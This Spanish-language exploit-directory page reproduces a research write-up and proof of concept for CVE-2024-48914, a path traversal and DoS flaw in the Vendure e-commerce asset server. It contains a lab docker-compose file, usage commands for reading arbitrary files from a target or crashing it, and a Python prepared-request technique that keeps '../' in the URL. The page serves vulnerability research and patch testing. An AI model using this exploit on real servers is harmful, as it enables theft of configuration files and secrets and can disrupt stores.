Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-48914 — Lectura Arbitraria de Archivos y DoS en exploit de vendure-ecommerce | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2024-48914
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de Penetración
GitHubeqstlab/cve-2024-48914

CVE-2024-48914

Lectura Arbitraria de Archivos y DoS en exploit de vendure-ecommerce

Ver Repositorio
5hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esta publicación es un artículo de investigación publicado por EQSTLab.

Gracias a Rajesh Sharma, quien descubrió esta vulnerabilidad.

CVE-2024-48914

★ CVE-2024-48914 PoC de Lectura Arbitraria de Archivos y DoS ★

Descripción

CVE-2024-48914 : Vulnerabilidad de lectura arbitraria de archivos y DoS en vendure-ecommerce

descripción: Vendure es una plataforma de comercio headless de código abierto. Antes de las versiones 3.0.5 y 2.3.3, una vulnerabilidad en el plugin del servidor de assets de Vendure permite a un atacante crear una solicitud que puede recorrer el sistema de archivos del servidor y recuperar el contenido de archivos arbitrarios, incluyendo datos sensibles como archivos de configuración, variables de entorno y otros datos críticos almacenados en el servidor. En la misma ruta de código hay un vector adicional para bloquear el servidor mediante una URI malformada. Los parches están disponibles en las versiones 3.0.5 y 2.3.3. También hay algunas soluciones alternativas. Se puede usar almacenamiento de objetos en lugar del sistema de archivos local, ej. MinIO o S3, o definir middleware que detecte y bloquee solicitudes con URLs que contengan /../.

Configuración del laboratorio

Descargar la versión vulnerable (v3.0.4):

Instalar dependencias de nivel superior

root@kitploit:~
npm install

Construir todos los paquetes

root@kitploit:~
npm run build

Configurar la base de datos y elasticsearch

docker-compose.yml

root@kitploit:~
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

Comando para ejecutar

root@kitploit:~
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

Cómo usar

Clonar el repositorio

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

Instalar paquetes

root@kitploit:~
pip install -r requirements.txt

Comando

root@kitploit:~
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

Salida

CVE-2024-48914.py (Lectura Arbitraria de Archivos) alt text

CVE-2024-48914.py (Ataque DoS) alt text alt text

Análisis

vendure/packages/asset-server-plugin/src/plugin.ts

root@kitploit:~
 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

La vulnerabilidad proviene del uso de decodedReqPath directamente en path.join sin realizar ninguna normalización de ruta, es decir, sin usar path.normalize en Node.js. Esta vulnerabilidad permite a un atacante crear una solicitud que pueda recorrer el sistema de archivos del servidor y recuperar el contenido de archivos arbitrarios, incluidos datos sensibles como archivos de configuración, variables de entorno y otros datos críticos almacenados en el servidor.

Consejos de Python

Al usar el módulo requests de Python, el "../" se elimina de la ruta URL. Si usas "solicitudes preparadas" como se muestra a continuación, puedes usar el módulo requests de Python sin que se elimine el "../" de la ruta URL.

root@kitploit:~
def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

Descargo de responsabilidad

Este repositorio no está destinado a ser un exploit de lectura arbitraria de archivos o DoS para CVE-2024-48914. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.

Referencias

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

Descargar herramienta